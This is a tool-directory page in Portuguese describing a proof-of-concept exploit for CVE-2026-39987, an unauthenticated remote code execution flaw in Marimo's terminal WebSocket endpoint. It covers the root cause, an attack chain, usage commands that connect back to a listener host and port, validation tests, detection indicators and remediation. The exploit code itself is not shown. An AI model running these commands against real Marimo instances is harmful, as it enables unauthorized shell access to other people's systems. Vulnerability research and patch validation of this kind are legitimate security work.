Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39987 — Prova de conceito de exploit para CVE-2026-39987, uma RCE pré-autenticação no endpoint WebSocket de terminal do Marimo. Demonstra execução de comandos não autenticada e inclui testes de validação para instâncias vulneráveis e corrigidas. | Kitploit
Ferramentas/GitHubGitHub/th3purge/cve-2026-39987
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Prova de conceito de exploit para CVE-2026-39987, uma RCE pré-autenticação no endpoint WebSocket de terminal do Marimo. Demonstra execução de comandos não autenticada e inclui testes de validação para instâncias vulneráveis e corrigidas.

Ver Repositório
1há 7h 18mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39987 Marimo RCE Pré-Autenticação


📋 Informações da Vulnerabilidade

PropriedadeValor
CVECVE-2026-39987
ProdutoMarimo
VulnerabilidadeExecução Remota de Código Pré-Autenticação
Vetor de AtaqueRede
AutenticaçãoNão necessária
Interação do UsuárioNão necessária
CWECWE-306 — Ausência de Autenticação para Função Crítica
SeveridadeCrítica
Versão Corrigida0.23.0

CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação que afeta o Marimo, um ambiente de notebook Python reativo. A vulnerabilidade está localizada no endpoint WebSocket de terminal /terminal/ws.


🔍 Causa Raiz

O endpoint de terminal vulnerável cria um PTY interativo após aceitar uma conexão WebSocket.

Conceitualmente, o fluxo de requisição vulnerável é:

root@kitploit:~
Cliente Remoto
     |
     | Conexão WebSocket
     v
/terminal/ws
     |
     | Validação de autenticação ausente
     v
WebSocket aceito
     |
     v
PTY criado
     |
     v
Shell interativo

A fronteira de segurança importante é a verificação de autenticação ausente.

Um endpoint que expõe execução arbitrária de comandos não deve permitir que um cliente não autenticado alcance a lógica de criação de PTY.


🎯 Propósito e Escopo

Objetivo Principal

O propósito deste projeto é demonstrar, em um ambiente controlado, a ausência de imposição de autenticação que afeta o endpoint WebSocket de terminal do Marimo.

As equipes de segurança podem usar o projeto para:

  • Validar a exposição de suas instâncias Marimo
  • Verificar a eficácia de patches de segurança
  • Documentar o impacto potencial de segurança
  • Melhorar os controles defensivos
  • Apoiar a validação autorizada de vulnerabilidades

Ambientes Autorizados

  • Laboratórios de segurança pertencentes ao testador
  • Sistemas com autorização escrita explícita
  • Ambientes de treinamento e educacionais
  • Testes de penetração autorizados e avaliações de segurança

Aviso: Execute o PoC apenas contra sistemas que você possui ou para os quais possui autorização explícita para testar.


🔗 Cadeia de Exploração

A cadeia completa da vulnerabilidade pode ser resumida da seguinte forma:

root@kitploit:~
1. Atacante descobre instância Marimo exposta
                |
                v
2. Atacante conecta-se a /terminal/ws
                |
                v
3. Autenticação não é imposta
                |
                v
4. Conexão WebSocket é aceita
                |
                v
5. Terminal PTY é criado
                |
                v
6. Atacante obtém execução de comandos
                |
                v
7. Comandos executam como o processo Marimo

A falha crítica de segurança ocorre na etapa 3.


📦 Instalação

Requisitos

root@kitploit:~
Python 3.7+
pip
Acesso à rede ao alvo autorizado

Dependências

root@kitploit:~
# Instalação básica
pip install websocket-client

# Instalação completa
pip install websocket-client rich

Verificação

root@kitploit:~
python3 exploit.py --help

🚀 Guia de Uso

Sintaxe Básica

root@kitploit:~
python3 exploit.py -u <URL_ALVO> --lhost <IP_LOCAL> --lport <PORTA>

Exemplos Práticos

1. Teste em Laboratório Local

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Teste Remoto Autorizado

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Modo de Depuração

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Referência de Parâmetros

ParâmetroTipoDescriçãoPadrão
-u, --urlstringURL base da instância Marimo alvoObrigatório
--lhoststringEndereço IP do ouvinteObrigatório
--lportintPorta do ouvinte (1-65535)Obrigatório
--timeoutintTempo limite do ouvinte em segundos15
--retriesintTentativas de conexão WebSocket3
--retry-delayfloatAtraso entre tentativas2.0
--no-verify-sslflagDesativar verificação de certificado SSLFalse
-v, --verboseflagAtivar saída detalhadaFalse
-s, --silentflagSuprimir saídaFalse

🔄 Fluxo de Trabalho do Exploit

root@kitploit:~
Fase 1: Inicialização
    ↓ Validar parâmetros
    ↓ Configurar registro de logs

Fase 2: Preparação
    ↓ Inicializar ouvinte
    ↓ Estabelecer conexão WebSocket

Fase 3: Validação
    ↓ Testar endpoint de terminal
    ↓ Verificar imposição de autenticação
    ↓ Registrar comportamento da conexão

Fase 4: Demonstração
    ↓ Estabelecer sessão de teste autorizada
    ↓ Verificar contexto de execução de comandos
    ↓ Coletar evidências de validação

Fase 5: Limpeza
    ↓ Restaurar estado do terminal
    ↓ Fechar conexões
    ↓ Liberar recursos

🧪 Testes de Validação

Cenários de Teste

Instância Vulnerável

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Resultado Esperado: O endpoint de terminal vulnerável aceita a conexão não autenticada.

Instância Corrigida

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Resultado Esperado: A conexão é rejeitada ou de outra forma impedida pelos controles de autenticação.

Teste de Tempo Limite

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Resultado Esperado: O tempo limite é reportado de forma limpa.


📈 Estatísticas da Vulnerabilidade

root@kitploit:~
Severidade:       Crítica (CVSS 9.3)
Complexidade:     Baixa
Autenticação:     Nenhuma necessária
Impacto:          Execução Remota de Código
Protocolo:        WebSocket
Endpoint:         /terminal/ws
Versão Corrigida: 0.23.0

O README de origem classifica o problema como CVSS 9.3 Crítico e identifica CWE-306, WebSocket como protocolo e /terminal/ws como endpoint afetado.


🔎 Detecção

Indicadores potenciais de exploração incluem conexões WebSocket inesperadas para:

root@kitploit:~
/terminal/ws

Os defensores devem investigar:

  • Conexões inesperadas ao endpoint WebSocket de terminal
  • Processos shell inesperados gerados pelo Marimo
  • Processos filhos suspeitos
  • Conexões de saída inesperadas
  • Acesso a variáveis de ambiente sensíveis
  • Atividade inesperada no sistema de arquivos
  • Comandos desconhecidos executados pelo processo Marimo

🛡️ Remediação

Atualize o Marimo para uma versão corrigida:

root@kitploit:~
0.23.0 ou posterior

Recomendações defensivas adicionais incluem:

  • Não exponha o Marimo diretamente à Internet pública, a menos que necessário.
  • Coloque os serviços de notebook atrás de um proxy reverso autenticado.
  • Restrinja o acesso à rede a usuários e redes confiáveis.
  • Execute o Marimo com os privilégios mínimos necessários.
  • Evite montar diretórios sensíveis do host em contêineres.
  • Rotacione credenciais que possam ter sido acessíveis a instâncias comprometidas.
  • Revise os logs em busca de atividade suspeita em /terminal/ws.
  • Investigue instâncias potencialmente comprometidas em vez de assumir que apenas o patch remove a persistência do atacante.

🔐 Classificação de Segurança

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severidade: Crítica
Tipo:       RCE Pré-Autenticação
Protocolo:  WebSocket
Endpoint:   /terminal/ws
Auth:       Nenhuma necessária
Corrigido:  0.23.0

📄 Licença

USO SOMENTE AUTORIZADO

Este projeto é fornecido exclusivamente para:

  • Testes de segurança autorizados
  • Pesquisa acadêmica
  • Validação de vulnerabilidades
  • Treinamento de segurança
  • Desenvolvimento de segurança defensiva

O uso não autorizado é estritamente proibido e pode violar leis locais e internacionais aplicáveis.


⚠️ Aviso Legal

Este projeto é fornecido para pesquisa de segurança, validação de vulnerabilidades e fins educacionais.

Não use o PoC contra sistemas que você não possui ou para os quais não possui autorização explícita para testar.

Os mantenedores não são responsáveis por uso indevido, testes não autorizados, danos, perda de dados ou quaisquer consequências resultantes do uso deste projeto.

Baixar ferramenta